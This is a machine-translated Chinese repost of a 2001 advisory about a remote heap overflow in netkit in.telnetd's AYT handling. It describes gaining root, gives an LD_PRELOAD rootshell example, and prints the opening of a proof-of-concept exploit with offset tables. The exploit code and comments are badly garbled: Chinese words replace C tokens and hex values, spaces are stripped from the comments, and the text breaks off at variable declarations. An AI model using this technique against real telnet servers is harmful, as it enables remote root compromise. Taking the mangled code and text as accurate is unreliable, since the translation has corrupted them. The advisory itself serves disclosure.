Linux netkit in.telnetd远程溢出漏洞
2008-04-09 04:30:32来源:网络阅读(
Linux netkit in.telnetd远程溢出漏洞
发布日期: 2001-08-10
更新日期: 2001-08-10
受影响的系统: netkit-telnet-0.17或更早版本
- Red Hat Linux 5.2
- Red Hat Linux 6.2
- Red Hat Linux 7.0
- Red Hat Linux 7.1
- Debian Linux 2.2 alias potato说明:
scut@nb.in-berlin.de发现许多操作系统的telnetd中存在AYT缓冲区溢出
漏洞。 参见:http://security.nsfocus.com/show query.ASP? bugID=1657
在他的公告中称Linux netkit-telnetd=0.14不受该问题的影响。 但是最新的报纸
报告显示,Linux网络工具包- telnetd=0.17版本均受到影响。 问题还在于telnet协会的处理
建议选项的函数没有进行有效的边界检查,并且某些选项“AYT”可能会导致缓冲区
溢出来。
在Linux系统上,如果用户可以获得对系统的本地访问权限,则可以通过telnetd漏洞
设定/bin/login环境变量。 范例
LD _ preload=/tmp/make-rootshell.so
如果用户没有本地访问权限,他可以覆盖一些块(chunk )结果,setenv(3) 3使用它们
然后将新chunk添加到用户可以控制的内存访问中。 因此,当环境变量重新分配内存时
更改任意存储器地址的值。
攻击者可能会远程获取root权限。
测试方法:警告
以下步骤(方法)可能具有攻击性,仅用于安全研究和教育。 用户风险自负!
Zen-parse(Zen-parse@gmx.net )提供了以下测试代码:
#包含
#包含
#包含
#包含
#包含
#包含
#包含
/* * * * * * * * * * * * * * * * * *
proofofconceptnetkit-0.17-7本地远程打印。
exploitsbufferoverflowintheaythandlingofin.telnetd,
detobadlogicinthehandlingofsnprintf (),and
tesoadvisorydetailswereenoughtoallowmetoput
控制lableaddressesinarbitaryheaplocations。
heapbasedexploit.overflowallowsrewritingofsomeheap
data,whichallowedmetoputanewheapstructureinthe
输入缓冲器,which let me do whatever I want。
' tracerouteexploitstory-bydvorak,Synnergy Networks' was very
helpful. Also malloc.c was good。
* * * * * * * * * * * * * * * * *
/*
Notes about exploit
1 ) RedHat 7.0,扩展本地主机
2 ) hostname is clarity.local
3 ) itprobablywon ' tworkwithoutatleastadifferentsettingfor
the --size option,andprobablythe-- nameoptionaswell.the
- namearguemntisthehostnamepartofthestringthatgets
returned by the AYT command,which may be different to the name
of the address you are connecting to .
4 ) therearealotofthingsthatusetheheap,标记the size
Factors的部署。
5 ) youwillmightneedtochangesome (orall ) of the offsets。
thisprogramdoesallowyoutobruteforce,if the hostname returned
bytheaytcommandisnotamultipleof3letters long。
itisalsopossibly (atleastaccordingtosomequicktestingidid ) )。
exploitableonsome (全部? ) serverswithnamesthataremultiplesofthree
letters long,usingtheabortoutputcommandtoadd2characters to the
输出长度,andexploittheheapinasimilarmannertothismethod。
(youcanonlydirectlyputusercontrolablecharactersin2out of3)
locations (ie : noaowillgiveyouamultipleof3bytesontheheap,ao
willgiveyou2morethanamultipleof3bytes ) with控制器
characters,butwhenyoucountthenulladdedbythenetoprintf (,and use
0 as an option to a do or will,youcansometimescreatevalidchunksthat
pointtolocationsyoucancontrol.ihaveonlytestedthismethodwitha
simulation,butitseemsitwouldprobablyworkwiththetelnetdaswell。
iwilllookintoitwhenihavetime.maybe.)
. _ _ _ _ . _ _ _ .
| _ _|_|_ _./|||_|_||||||||||||||||||||||||
||||||| _|||| _|||||_|||||||||||||||| _||||||||||||||||
|
* * * * * * * * * * * * * * * * *
#define SERVER_PORT 23
#define ENV 18628
int offset12[]={
//netibuf[343]-the chunk start。
- 4,0x AA,
- 5,0x bb,
- 6,0x抄送,
- 7,0x 10,
- 9,0x DD,
- 10,0x 68,
- 12,0x ee,
- 13,0x 88,
- 14,0x 99,
0,0x 00
(;
int offset3[]={
- 1,0x 00,
0,0
(;
int *offsets=offset12;
int dalen=0;
int big;
Int小型计算机;
int mipl=0;
int ninbufoffset;
标签:
本网站的部分文章来自网络。 如果有侵害的话,请联系我。 west999com@outlook.com
特别注意:本网站转载文章的发言没有表达本网站的观点。 本网站提供的照片、插图、设计作品,请根据需要与原作者联系。 版权归原作者所有
相关报道